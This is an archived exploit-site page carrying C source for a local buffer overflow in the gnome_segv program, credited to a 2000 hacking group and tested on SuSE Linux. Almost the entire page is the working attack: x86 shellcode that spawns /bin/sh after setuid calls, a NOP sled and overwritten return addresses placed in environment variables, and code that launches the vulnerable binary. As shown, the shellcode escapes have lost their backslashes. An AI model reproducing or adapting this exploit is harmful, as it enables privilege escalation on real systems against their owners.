[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : gnome_segv local buffer overflow
# Published : 2000-12-06
# Author : Cody Tubbs
# Previous Title : GnomeHack Local Buffer Overflow Exploit (gid=games)
# Next Title : UUCP Exploit - file creation/overwriting (symlinks)


/* gnome_segv local buffer overflow.
 * 
 * Author: Cody Tubbs (loophole of hhp).
 * www.hhp-programming.net / pigspigs@yahoo.com
 * 12/9/2000
 *
 * This exploit was coded at overfiens in cali.
 * Shouts to overfien and skeptik... h00t h00t.
 * Bug found by skeptik.
 *
 * Tested on SuSE 6.4/2.2.14
 * non s*id by default, p.o.e. only.
 */

#include <stdio.h>
#define DBUF   287 // 56(fun)+RET+227!
#define OFFSET 0   // Change if fails.

static char shellcode[]=
  "x31xc0x31xdbxb0x17xcdx80"
  "x66x31xc0x66x31xdbxb0x2excdx80"
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46"
  "x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80"
  "x31xdbx89xd8x40xcdx80xe8xdcxffxffxff"
  "/bin/shx69";

long get_sp(void){__asm__("movl %esp,%eax");}
main(int argc, char **argv){
  char eipeip[DBUF]="        Don't forget to check www.hhp-programming.net";
  char buffer[4096], heh[256+1]; // ^</tag> :D
  int i, offset;
  long address;
  if(argc>1){offset=atoi(argv[1]);}
  else{offset=OFFSET;}
  address=get_sp()-offset;
  for(i=56;i<DBUF;i+=4){*(long *)&eipeip[i]=address;}
  for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){buffer[i]=0x90;}
  memcpy(heh,eipeip,strlen(eipeip));
  memcpy(heh,"DISPLAY=",8);
  putenv(heh);
  memcpy(buffer+i,shellcode,strlen(shellcode));
  memcpy(buffer,"EXSEGV=",7);
  putenv(buffer);
  fprintf(stderr,"Return address %#x, offset: %d.n",address,offset);
  execlp("/opt/gnome/bin/gnome_segv","gnome_segv",0);
}


// www.Syue.com [2000-12-06]